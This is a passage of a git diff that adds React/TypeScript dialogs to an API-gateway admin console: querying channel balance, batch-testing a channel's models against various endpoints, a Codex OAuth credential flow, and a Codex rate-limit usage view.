+  const [codexUsageResponse, setCodexUsageResponse] =
+    useState<CodexUsageDialogData | null>(null)
+
+  const isCodex = currentRow?.type === 57
+
+  const handleQueryCodexUsage = async () => {
+    const row = currentRow
+    if (!row) return
+    setIsQuerying(true)
+    try {
+      const res = await getCodexUsage(row.id)
+      if (!res.success) {
+        throw new Error(res.message || t('Failed to fetch usage'))
+      }
+      setCodexUsageResponse(res)
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to fetch usage')
+      )
+    } finally {
+      setIsQuerying(false)
+    }
+  }
+
+  useEffect(() => {
+    if (!isCodex) return
+    if (!open) return
+    handleQueryCodexUsage()
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, isCodex])
+
+  if (!currentRow) return null
+
+  const handleQueryBalance = async () => {
+    setIsQuerying(true)
+    try {
+      const response = await updateChannelBalance(currentRow.id)
+      if (response.success && response.balance !== undefined) {
+        const newBalance = response.balance
+        const now = Math.floor(Date.now() / 1000)
+
+        setBalance(newBalance)
+        setBalanceUpdatedTime(now)
+        toast.success(t('Balance updated successfully'))
+
+        // Update currentRow immediately with new balance and timestamp
+        setCurrentRow({
+          ...currentRow,
+          balance: newBalance,
+          balance_updated_time: now,
+        })
+
+        // Invalidate queries to refresh the table
+        await queryClient.invalidateQueries({
+          queryKey: channelsQueryKeys.lists(),
+        })
+      } else {
+        toast.error(response.message || t('Failed to query balance'))
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to query balance')
+      )
+    } finally {
+      setIsQuerying(false)
+    }
+  }
+
+  const handleClose = () => {
+    setBalance(null)
+    setBalanceUpdatedTime(null)
+    setCodexUsageResponse(null)
+    onOpenChange(false)
+  }
+
+  const formatBalance = (bal: number) =>
+    formatCurrencyFromUSD(bal, {
+      digitsLarge: 2,
+      digitsSmall: 4,
+      abbreviate: false,
+    })
+
+  const formatDate = (timestamp: number) => {
+    if (!timestamp) return 'Never'
+    return formatTimestampToDate(timestamp)
+  }
+
+  if (isCodex) {
+    return (
+      <CodexUsageDialog
+        open={open}
+        onOpenChange={(v) => {
+          if (!v) handleClose()
+        }}
+        channelName={currentRow.name}
+        channelId={currentRow.id}
+        response={codexUsageResponse}
+        onRefresh={handleQueryCodexUsage}
+        isRefreshing={isQuerying}
+      />
+    )
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={handleClose}>
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>{t('Query Balance')}</DialogTitle>
+          <DialogDescription>
+            {t('Update balance for:')} <strong>{currentRow.name}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4 py-4'>
+          {/* Current Balance Display */}
+          <div className='bg-muted/50 rounded-lg border p-4'>
+            <div className='text-muted-foreground mb-2 flex items-center gap-2 text-sm'>
+              <DollarSign className='h-4 w-4' />
+              <span>{t('Current Balance')}</span>
+            </div>
+            <div className='text-2xl font-bold'>
+              {balance !== null
+                ? formatBalance(balance)
+                : formatBalance(currentRow.balance)}
+            </div>
+            <div className='text-muted-foreground mt-2 text-xs'>
+              {t('Last updated:')}{' '}
+              {formatDate(
+                balanceUpdatedTime ?? currentRow.balance_updated_time
+              )}
+            </div>
+          </div>
+
+          {/* Balance Update Button */}
+          <Button
+            className='w-full'
+            onClick={handleQueryBalance}
+            disabled={isQuerying}
+          >
+            {isQuerying && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {!isQuerying && <RefreshCw className='mr-2 h-4 w-4' />}
+            {isQuerying ? t('Querying...') : t('Update Balance')}
+          </Button>
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={handleClose} disabled={isQuerying}>
+            {t('Close')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/channel-test-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/channel-test-dialog.tsx
new file mode 100644
index 0000000..9d2990f
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/channel-test-dialog.tsx
@@ -0,0 +1,611 @@
+import { useCallback, useEffect, useMemo, useState } from 'react'
+import {
+  type ColumnDef,
+  type RowSelectionState,
+  type Table as TanStackTable,
+  flexRender,
+  getCoreRowModel,
+  getPaginationRowModel,
+  useReactTable,
+} from '@tanstack/react-table'
+import { Loader2, Settings } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableBulkActions as BulkActionsToolbar } from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { StatusBadge } from '@/components/status-badge'
+import { formatResponseTime, handleTestChannel } from '../../lib'
+import { useChannels } from '../channels-provider'
+
+type ChannelTestDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+type ModelRow = {
+  model: string
+}
+
+type TestStatus = 'idle' | 'testing' | 'success' | 'error'
+
+type TestResult = {
+  status: TestStatus
+  responseTime?: number
+  error?: string
+  errorCode?: string
+}
+
+const endpointTypeOptions: Array<{ value: string; label: string }> = [
+  { value: 'auto', label: 'Auto detect (default)' },
+  { value: 'openai', label: 'OpenAI (/v1/chat/completions)' },
+  { value: 'openai-response', label: 'OpenAI Responses (/v1/responses)' },
+  {
+    value: 'openai-response-compact',
+    label: 'OpenAI Response Compaction (/v1/responses/compact)',
+  },
+  { value: 'anthropic', label: 'Anthropic (/v1/messages)' },
+  {
+    value: 'gemini',
+    label: 'Gemini (/v1beta/models/{model}:generateContent)',
+  },
+  { value: 'jina-rerank', label: 'Jina Rerank (/v1/rerank)' },
+  {
+    value: 'image-generation',
+    label: 'Image Generation (/v1/images/generations)',
+  },
+  { value: 'embeddings', label: 'Embeddings (/v1/embeddings)' },
+]
+
+const STREAM_INCOMPATIBLE_ENDPOINTS = new Set([
+  'embeddings',
+  'image-generation',
+  'jina-rerank',
+  'openai-response-compact',
+])
+
+export function ChannelTestDialog({
+  open,
+  onOpenChange,
+}: ChannelTestDialogProps) {
+  const { t } = useTranslation()
+  const { currentRow } = useChannels()
+  const [endpointType, setEndpointType] = useState('auto')
+  const [isStreamTest, setIsStreamTest] = useState(false)
+  const [searchTerm, setSearchTerm] = useState('')
+  const [testResults, setTestResults] = useState<Record<string, TestResult>>({})
+  const [rowSelection, setRowSelection] = useState<RowSelectionState>({})
+  const [testingModels, setTestingModels] = useState<Set<string>>(
+    () => new Set()
+  )
+  const [isBatchTesting, setIsBatchTesting] = useState(false)
+  const [pagination, setPagination] = useState({
+    pageIndex: 0,
+    pageSize: 10,
+  })
+
+  const resetState = useCallback(() => {
+    setEndpointType('auto')
+    setIsStreamTest(false)
+    setSearchTerm('')
+    setTestResults({})
+    setRowSelection({})
+    setTestingModels(() => new Set())
+    setIsBatchTesting(false)
+    setPagination({ pageIndex: 0, pageSize: 10 })
+  }, [])
+
+  useEffect(() => {
+    if (open && currentRow) {
+      resetState()
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, currentRow?.id, resetState])
+
+  const streamDisabled = STREAM_INCOMPATIBLE_ENDPOINTS.has(endpointType)
+
+  useEffect(() => {
+    if (streamDisabled) {
+      setIsStreamTest(false)
+    }
+  }, [streamDisabled])
+
+  const modelsValue = currentRow?.models ?? ''
+  const defaultTestModel = currentRow?.test_model?.trim()
+
+  const models = useMemo(() => {
+    if (!modelsValue) return []
+    return modelsValue
+      .split(',')
+      .map((model) => model.trim())
+      .filter(Boolean)
+  }, [modelsValue])
+
+  const filteredModels = useMemo(() => {
+    if (!searchTerm) return models
+    const keyword = searchTerm.toLowerCase()
+    return models.filter((model) => model.toLowerCase().includes(keyword))
+  }, [models, searchTerm])
+
+  useEffect(() => {
+    setPagination((prev) => ({ ...prev, pageIndex: 0 }))
+  }, [searchTerm, modelsValue])
+
+  const tableData = useMemo<ModelRow[]>(
+    () => filteredModels.map((model) => ({ model })),
+    [filteredModels]
+  )
+
+  const markModelTesting = useCallback((key: string, isTesting: boolean) => {
+    setTestingModels((prev) => {
+      const next = new Set(prev)
+      if (isTesting) {
+        next.add(key)
+      } else {
+        next.delete(key)
+      }
+      return next
+    })
+  }, [])
+
+  const updateTestResult = useCallback((key: string, result: TestResult) => {
+    setTestResults((prev) => ({
+      ...prev,
+      [key]: result,
+    }))
+  }, [])
+
+  const testSingleModel = useCallback(
+    async (model: string) => {
+      if (!currentRow) return
+
+      markModelTesting(model, true)
+      updateTestResult(model, { status: 'testing' })
+
+      try {
+        await handleTestChannel(
+          currentRow.id,
+          {
+            testModel: model,
+            endpointType: endpointType === 'auto' ? undefined : endpointType,
+            stream: isStreamTest || undefined,
+          },
+          (success, responseTime, error, errorCode) => {
+            updateTestResult(model, {
+              status: success ? 'success' : 'error',
+              responseTime,
+              error,
+              errorCode,
+            })
+          }
+        )
+      } catch (error: unknown) {
+        updateTestResult(model, {
+          status: 'error',
+          error: error instanceof Error ? error.message : 'Test failed',
+        })
+      } finally {
+        markModelTesting(model, false)
+      }
+    },
+    [currentRow, endpointType, isStreamTest, markModelTesting, updateTestResult]
+  )
+
+  const handleBatchTest = useCallback(
+    async (modelsToTest: string[]) => {
+      if (!modelsToTest.length) return
+
+      setIsBatchTesting(true)
+      try {
+        await Promise.allSettled(
+          modelsToTest.map((modelName) => testSingleModel(modelName))
+        )
+      } finally {
+        setIsBatchTesting(false)
+        setRowSelection({})
+      }
+    },
+    [testSingleModel]
+  )
+
+  const handleClose = () => {
+    resetState()
+    onOpenChange(false)
+  }
+
+  const isAnyTesting = testingModels.size > 0 || isBatchTesting
+
+  const columns = useMemo<ColumnDef<ModelRow>[]>(
+    () => [
+      {
+        id: 'select',
+        header: ({ table }) => (
+          <Checkbox
+            checked={
+              table.getIsAllPageRowsSelected() ||
+              (table.getIsSomePageRowsSelected() && 'indeterminate')
+            }
+            onCheckedChange={(value) =>
+              table.toggleAllPageRowsSelected(!!value)
+            }
+            aria-label='Select all models'
+          />
+        ),
+        cell: ({ row }) => (
+          <Checkbox
+            checked={row.getIsSelected()}
+            onCheckedChange={(value) => row.toggleSelected(!!value)}
+            aria-label={`Select model ${row.original.model}`}
+          />
+        ),
+        enableSorting: false,
+        enableHiding: false,
+        size: 40,
+      },
+      {
+        accessorKey: 'model',
+        header: 'Model',
+        cell: ({ row }) => {
+          const model = row.original.model
+          const isDefault = defaultTestModel === model
+
+          return (
+            <div className='flex items-center gap-2'>
+              <span className='font-medium'>{model}</span>
+              {isDefault && (
+                <StatusBadge
+                  label='Default'
+                  variant='info'
+                  size='sm'
+                  copyable={false}
+                />
+              )}
+            </div>
+          )
+        },
+      },
+      {
+        id: 'status',
+        header: 'Status',
+        cell: ({ row }) => {
+          const model = row.original.model
+          const result = testResults[model]
+
+          if (!result || result.status === 'idle') {
+            return (
+              <StatusBadge
+                label={t('Not tested')}
+                variant='neutral'
+                copyable={false}
+              />
+            )
+          }
+
+          if (result.status === 'testing') {
+            return (
+              <div className='text-muted-foreground flex items-center gap-2 text-sm'>
+                <Loader2 className='h-4 w-4 animate-spin' />
+                Testing...
+              </div>
+            )
+          }
+
+          if (result.status === 'success') {
+            return (
+              <div className='flex flex-col gap-1 text-xs'>
+                <StatusBadge
+                  label='Success'
+                  variant='success'
+                  copyable={false}
+                />
+                {typeof result.responseTime === 'number' && (
+                  <span className='text-muted-foreground'>
+                    {formatResponseTime(result.responseTime, t)}
+                  </span>
+                )}
+              </div>
+            )
+          }
+
+          return (
+            <div className='flex flex-col gap-1 text-xs'>
+              <StatusBadge label='Failed' variant='danger' copyable={false} />
+              {result.error && (
+                <span className='text-muted-foreground break-all'>
+                  {result.error}
+                </span>
+              )}
+              {result.errorCode === 'model_price_error' && (
+                <Button
+                  variant='outline'
+                  size='sm'
+                  className='w-fit'
+                  onClick={() =>
+                    window.open('/console/setting?tab=ratio', '_blank')
+                  }
+                >
+                  <Settings className='mr-1 h-3 w-3' />
+                  {t('Go to Settings')}
+                </Button>
+              )}
+            </div>
+          )
+        },
+        enableSorting: false,
+        size: 220,
+      },
+      {
+        id: 'actions',
+        header: 'Actions',
+        cell: ({ row }) => {
+          const model = row.original.model
+          const isTestingModel = testingModels.has(model)
+
+          return (
+            <Button
+              variant='outline'
+              size='sm'
+              onClick={() => testSingleModel(model)}
+              disabled={isTestingModel || isBatchTesting}
+            >
+              {isTestingModel && (
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+              )}
+              Test
+            </Button>
+          )
+        },
+        enableSorting: false,
+        size: 120,
+      },
+    ],
+    [
+      defaultTestModel,
+      isBatchTesting,
+      t,
+      testResults,
+      testingModels,
+      testSingleModel,
+    ]
+  )
+
+  const table = useReactTable({
+    data: tableData,
+    columns,
+    state: {
+      rowSelection,
+      pagination,
+    },
+    enableRowSelection: true,
+    getCoreRowModel: getCoreRowModel(),
+    getPaginationRowModel: getPaginationRowModel(),
+    onRowSelectionChange: setRowSelection,
+    onPaginationChange: setPagination,
+  })
+
+  if (!currentRow) {
+    return null
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={handleClose}>
+      <DialogContent className='max-h-[90vh] overflow-hidden sm:max-w-3xl'>
+        <DialogHeader>
+          <DialogTitle>{t('Test Channel Connection')}</DialogTitle>
+          <DialogDescription>
+            {t('Test connectivity for:')} <strong>{currentRow.name}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='max-h-[78vh] space-y-4 overflow-y-auto py-4 pr-1'>
+          <div className='grid gap-4 md:grid-cols-2'>
+            <div className='grid gap-2'>
+              <Label htmlFor='endpoint-type'>{t('Endpoint Type')}</Label>
+              <Select value={endpointType} onValueChange={setEndpointType}>
+                <SelectTrigger id='endpoint-type'>
+                  <SelectValue placeholder={t('Auto detect (default)')} />
+                </SelectTrigger>
+                <SelectContent>
+                  {endpointTypeOptions.map((option) => {
+                    const itemValue = option.value
+                    return (
+                      <SelectItem key={itemValue} value={itemValue}>
+                        {t(option.label)}
+                      </SelectItem>
+                    )
+                  })}
+                </SelectContent>
+              </Select>
+              <p className='text-muted-foreground text-xs'>
+                {t(
+                  'Override the endpoint used for testing. Leave empty to auto detect.'
+                )}
+              </p>
+            </div>
+            <div className='grid gap-2'>
+              <Label htmlFor='stream-toggle'>{t('Stream Mode')}</Label>
+              <div className='flex items-center gap-2'>
+                <Switch
+                  id='stream-toggle'
+                  checked={isStreamTest}
+                  onCheckedChange={setIsStreamTest}
+                  disabled={streamDisabled}
+                />
+                <span className='text-sm'>
+                  {isStreamTest ? t('Enabled') : t('Disabled')}
+                </span>
+              </div>
+              <p className='text-muted-foreground text-xs'>
+                {t('Enable streaming mode for the test request.')}
+              </p>
+            </div>
+          </div>
+
+          <div className='space-y-3 max-sm:has-[div[role="toolbar"]]:pb-16'>
+            <div className='flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+              <div>
+                <p className='text-sm font-medium'>{t('Channel models')}</p>
+                <p className='text-muted-foreground text-xs'>
+                  {t('Select models to run batch tests.')}
+                </p>
+              </div>
+              <Input
+                placeholder={t('Filter models...')}
+                value={searchTerm}
+                onChange={(e) => setSearchTerm(e.target.value)}
+                className='sm:w-64'
+              />
+            </div>
+
+            <div className='space-y-3'>
+              <div className='overflow-hidden rounded-md border' role='region'>
+                <div className='max-h-[360px] overflow-y-auto'>
+                  <Table>
+                    <TableHeader>
+                      {table.getHeaderGroups().map((headerGroup) => (
+                        <TableRow key={headerGroup.id}>
+                          {headerGroup.headers.map((header) => (
+                            <TableHead key={header.id}>
+                              {header.isPlaceholder
+                                ? null
+                                : flexRender(
+                                    header.column.columnDef.header,
+                                    header.getContext()
+                                  )}
+                            </TableHead>
+                          ))}
+                        </TableRow>
+                      ))}
+                    </TableHeader>
+                    <TableBody>
+                      {table.getRowModel().rows.length ? (
+                        table.getRowModel().rows.map((row) => (
+                          <TableRow
+                            key={row.id}
+                            data-state={
+                              row.getIsSelected() ? 'selected' : undefined
+                            }
+                          >
+                            {row.getVisibleCells().map((cell) => (
+                              <TableCell key={cell.id}>
+                                {flexRender(
+                                  cell.column.columnDef.cell,
+                                  cell.getContext()
+                                )}
+                              </TableCell>
+                            ))}
+                          </TableRow>
+                        ))
+                      ) : (
+                        <TableRow>
+                          <TableCell
+                            colSpan={table.getVisibleLeafColumns().length}
+                            className='text-muted-foreground h-16 text-center text-sm'
+                          >
+                            {models.length
+                              ? 'No models matched your search.'
+                              : 'This channel has no configured models.'}
+                          </TableCell>
+                        </TableRow>
+                      )}
+                    </TableBody>
+                  </Table>
+                </div>
+              </div>
+
+              <DataTablePagination table={table} />
+            </div>
+
+            <TestModelsBulkActions
+              table={table}
+              disabled={isAnyTesting}
+              onTestSelected={handleBatchTest}
+            />
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={handleClose}>
+            {t('Close')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function TestModelsBulkActions({
+  table,
+  disabled,
+  onTestSelected,
+}: {
+  table: TanStackTable<ModelRow>
+  disabled?: boolean
+  onTestSelected: (models: string[]) => void
+}) {
+  const { t } = useTranslation()
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+  const selectedModels = selectedRows.map((row) => row.original.model)
+
+  const buttonLabel =
+    selectedModels.length > 0
+      ? `Test ${selectedModels.length} selected`
+      : 'Test selected models'
+
+  return (
+    <BulkActionsToolbar table={table} entityName='model'>
+      <Tooltip>
+        <TooltipTrigger asChild>
+          <Button
+            size='sm'
+            onClick={() => onTestSelected(selectedModels)}
+            disabled={disabled || selectedModels.length === 0}
+          >
+            {disabled ? (
+              <>
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                {t('Testing...')}
+              </>
+            ) : (
+              buttonLabel
+            )}
+          </Button>
+        </TooltipTrigger>
+        <TooltipContent>
+          <p>{t('Run tests for the selected models')}</p>
+        </TooltipContent>
+      </Tooltip>
+    </BulkActionsToolbar>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/codex-oauth-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/codex-oauth-dialog.tsx
new file mode 100644
index 0000000..5086a91
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/codex-oauth-dialog.tsx
@@ -0,0 +1,204 @@
+import { useEffect, useMemo, useState } from 'react'
+import { ExternalLink, Copy, Check, Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { tryPrettyJson } from '@/lib/utils'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { completeCodexOAuth, startCodexOAuth } from '../../api'
+
+type CodexOAuthDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onKeyGenerated: (key: string) => void
+}
+
+export function CodexOAuthDialog({
+  open,
+  onOpenChange,
+  onKeyGenerated,
+}: CodexOAuthDialogProps) {
+  const { t } = useTranslation()
+  const { copiedText, copyToClipboard } = useCopyToClipboard({ notify: false })
+
+  const [state, setState] = useState({
+    authorizeUrl: '',
+    callbackUrl: '',
+    isStarting: false,
+    isCompleting: false,
+  })
+
+  useEffect(() => {
+    if (!open) {
+      setState({
+        authorizeUrl: '',
+        callbackUrl: '',
+        isStarting: false,
+        isCompleting: false,
+      })
+    }
+  }, [open])
+
+  const canCopyAuthorizeUrl = Boolean(state.authorizeUrl && !state.isStarting)
+  const canComplete = useMemo(
+    () => Boolean(state.callbackUrl.trim()) && !state.isCompleting,
+    [state.callbackUrl, state.isCompleting]
+  )
+
+  const handleStart = async () => {
+    setState((prev) => ({ ...prev, isStarting: true }))
+    try {
+      const res = await startCodexOAuth()
+      if (!res.success) {
+        throw new Error(res.message || 'Failed to start OAuth')
+      }
+
+      const url = res.data?.authorize_url || ''
+      if (!url) {
+        throw new Error('Missing authorize_url in response')
+      }
+
+      setState((prev) => ({ ...prev, authorizeUrl: url }))
+      try {
+        window.open(url, '_blank', 'noopener,noreferrer')
+        toast.success(t('Opened authorization page'))
+      } catch (error) {
+        // eslint-disable-next-line no-console
+        console.warn('Failed to open authorization page:', error)
+        toast.warning(t('Please manually copy and open the authorization link'))
+      }
+    } catch (error) {
+      toast.error(
+        error instanceof Error ? error.message : t('OAuth start failed')
+      )
+    } finally {
+      setState((prev) => ({ ...prev, isStarting: false }))
+    }
+  }
+
+  const handleComplete = async () => {
+    if (!state.callbackUrl.trim()) return
+    setState((prev) => ({ ...prev, isCompleting: true }))
+    try {
+      const res = await completeCodexOAuth(state.callbackUrl.trim())
+      if (!res.success) {
+        throw new Error(res.message || 'OAuth failed')
+      }
+
+      const rawKey = res.data?.key || ''
+      if (!rawKey) {
+        throw new Error('Missing key in response')
+      }
+
+      onKeyGenerated(tryPrettyJson(rawKey))
+      toast.success(t('Credential generated'))
+      onOpenChange(false)
+    } catch (error) {
+      toast.error(error instanceof Error ? error.message : t('OAuth failed'))
+    } finally {
+      setState((prev) => ({ ...prev, isCompleting: false }))
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-2xl'>
+        <DialogHeader>
+          <DialogTitle>{t('Codex Authorization')}</DialogTitle>
+          <DialogDescription>
+            {t(
+              'Generate a Codex OAuth credential and paste it into the channel key field.'
+            )}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4'>
+          <Alert>
+            <AlertDescription>
+              {t(
+                '1) Click "Open authorization page" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click "Generate credential".'
+              )}
+            </AlertDescription>
+          </Alert>
+
+          <div className='flex flex-wrap gap-2'>
+            <Button onClick={handleStart} disabled={state.isStarting}>
+              {state.isStarting ? (
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+              ) : (
+                <ExternalLink className='mr-2 h-4 w-4' />
+              )}
+              {t('Open authorization page')}
+            </Button>
+
+            <Button
+              type='button'
+              variant='outline'
+              disabled={!canCopyAuthorizeUrl}
+              onClick={async () => {
+                if (!state.authorizeUrl) return
+                await copyToClipboard(state.authorizeUrl)
+              }}
+              aria-label={t('Copy authorization link')}
+              title={t('Copy authorization link')}
+            >
+              {copiedText === state.authorizeUrl ? (
+                <Check className='mr-2 h-4 w-4 text-green-600' />
+              ) : (
+                <Copy className='mr-2 h-4 w-4' />
+              )}
+              {t('Copy authorization link')}
+            </Button>
+          </div>
+
+          <div className='space-y-2'>
+            <div className='text-sm font-medium'>{t('Callback URL')}</div>
+            <Input
+              value={state.callbackUrl}
+              onChange={(e) =>
+                setState((prev) => ({ ...prev, callbackUrl: e.target.value }))
+              }
+              placeholder={t(
+                'Paste the full callback URL (includes code & state)'
+              )}
+              autoComplete='off'
+              spellCheck={false}
+            />
+            <div className='text-muted-foreground text-xs'>
+              {t(
+                'Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.'
+              )}
+            </div>
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button
+            type='button'
+            variant='outline'
+            onClick={() => onOpenChange(false)}
+            disabled={state.isStarting || state.isCompleting}
+          >
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleComplete} disabled={!canComplete}>
+            {state.isCompleting && (
+              <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+            )}
+            {state.isCompleting ? t('Generating...') : t('Generate credential')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/codex-usage-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/codex-usage-dialog.tsx
new file mode 100644
index 0000000..020ff60
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/codex-usage-dialog.tsx
@@ -0,0 +1,581 @@
+import { useMemo, useState } from 'react'
+import {
+  Copy,
+  Check,
+  RefreshCw,
+  ChevronDown,
+  ChevronUp,
+  User,
+  Mail,
+  Hash,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import dayjs from '@/lib/dayjs'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Progress } from '@/components/ui/progress'
+import { ScrollArea } from '@/components/ui/scroll-area'
+import { StatusBadge, type StatusBadgeProps } from '@/components/status-badge'
+
+type CodexRateLimitWindow = {
+  used_percent?: number
+  reset_at?: number
+  reset_after_seconds?: number
+  limit_window_seconds?: number
+}
+
+type CodexRateLimit = {
+  plan_type?: string
+  allowed?: boolean
+  limit_reached?: boolean
+  primary_window?: CodexRateLimitWindow
+  secondary_window?: CodexRateLimitWindow
+}
+
+type CodexAdditionalRateLimit = {
+  limit_name?: string
+  metered_feature?: string
+  rate_limit?: CodexRateLimit
+  primary_window?: CodexRateLimitWindow
+  secondary_window?: CodexRateLimitWindow
+  plan_type?: string
+}
+
+type CodexUsagePayload = {
+  plan_type?: string
+  user_id?: string
+  email?: string
+  account_id?: string
+  rate_limit?: CodexRateLimit
+  additional_rate_limits?: CodexAdditionalRateLimit[]
+}
+
+export type CodexUsageDialogData = {
+  success: boolean
+  message?: string
+  upstream_status?: number
+  data?: Record<string, unknown>
+}
+
+type CodexUsageDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  channelName?: string
+  channelId?: number
+  response: CodexUsageDialogData | null
+  onRefresh?: () => void
+  isRefreshing?: boolean
+}
+
+function clampPercent(value: unknown): number {
+  const v = Number(value)
+  return Number.isFinite(v) ? Math.max(0, Math.min(100, v)) : 0
+}
+
+function formatUnixSeconds(unixSeconds: unknown): string {
+  const v = Number(unixSeconds)
+  if (!Number.isFinite(v) || v <= 0) return '-'
+  try {
+    return dayjs(v * 1000).format('YYYY-MM-DD HH:mm:ss')
+  } catch {
+    return String(unixSeconds)
+  }
+}
+
+function formatDurationSeconds(
+  seconds: unknown,
+  t: (key: string) => string
+): string {
+  const s = Number(seconds)
+  if (!Number.isFinite(s) || s <= 0) return '-'
+
+  const total = Math.floor(s)
+  const hours = Math.floor(total / 3600)
+  const minutes = Math.floor((total % 3600) / 60)
+  const secs = total % 60
+
+  if (hours > 0) return `${hours}${t('h')} ${minutes}${t('m')}`
+  if (minutes > 0) return `${minutes}${t('m')} ${secs}${t('s')}`
+  return `${secs}${t('s')}`
+}
+
+function normalizePlanType(value: unknown): string {
+  if (value == null) return ''
+  return String(value).trim().toLowerCase()
+}
+
+function classifyWindowByDuration(
+  windowData?: CodexRateLimitWindow | null
+): 'weekly' | 'fiveHour' | null {
+  const seconds = Number(windowData?.limit_window_seconds)
+  if (!Number.isFinite(seconds) || seconds <= 0) return null
+  return seconds >= 24 * 60 * 60 ? 'weekly' : 'fiveHour'
+}
+
+type RateLimitSource = {
+  plan_type?: string
+  rate_limit?: CodexRateLimit
+}
+
+function resolveRateLimitWindows(data: RateLimitSource | null): {
+  fiveHourWindow: CodexRateLimitWindow | null
+  weeklyWindow: CodexRateLimitWindow | null
+} {
+  const rateLimit = data?.rate_limit ?? {}
+  const primary = rateLimit?.primary_window ?? null
+  const secondary = rateLimit?.secondary_window ?? null
+  const windows = [primary, secondary].filter(Boolean) as CodexRateLimitWindow[]
+  const planType = normalizePlanType(data?.plan_type ?? rateLimit?.plan_type)
+
+  let fiveHourWindow: CodexRateLimitWindow | null = null
+  let weeklyWindow: CodexRateLimitWindow | null = null
+
+  for (const w of windows) {
+    const bucket = classifyWindowByDuration(w)
+    if (bucket === 'fiveHour' && !fiveHourWindow) {
+      fiveHourWindow = w
+      continue
+    }
+    if (bucket === 'weekly' && !weeklyWindow) {
+      weeklyWindow = w
+    }
+  }
+
+  if (planType === 'free') {
+    if (!weeklyWindow) weeklyWindow = primary ?? secondary ?? null
+    return { fiveHourWindow: null, weeklyWindow }
+  }
+
+  if (!fiveHourWindow && !weeklyWindow) {
+    return { fiveHourWindow: primary, weeklyWindow: secondary }
+  }
+
+  if (!fiveHourWindow) {
+    fiveHourWindow = windows.find((w) => w !== weeklyWindow) ?? null
+  }
+  if (!weeklyWindow) {
+    weeklyWindow = windows.find((w) => w !== fiveHourWindow) ?? null
+  }
+
+  return { fiveHourWindow, weeklyWindow }
+}
+
+const PLAN_TYPE_BADGE: Record<
+  string,
+  { label: string; variant: StatusBadgeProps['variant'] }
+> = {
+  enterprise: { label: 'Enterprise', variant: 'success' },
+  team: { label: 'Team', variant: 'info' },
+  pro: { label: 'Pro', variant: 'blue' },
+  plus: { label: 'Plus', variant: 'purple' },
+  free: { label: 'Free', variant: 'warning' },
+}
+
+function getAccountTypeBadge(
+  value: unknown,
+  t: (key: string) => string
+): { label: string; variant: StatusBadgeProps['variant'] } {
+  const normalized = normalizePlanType(value)
+  return (
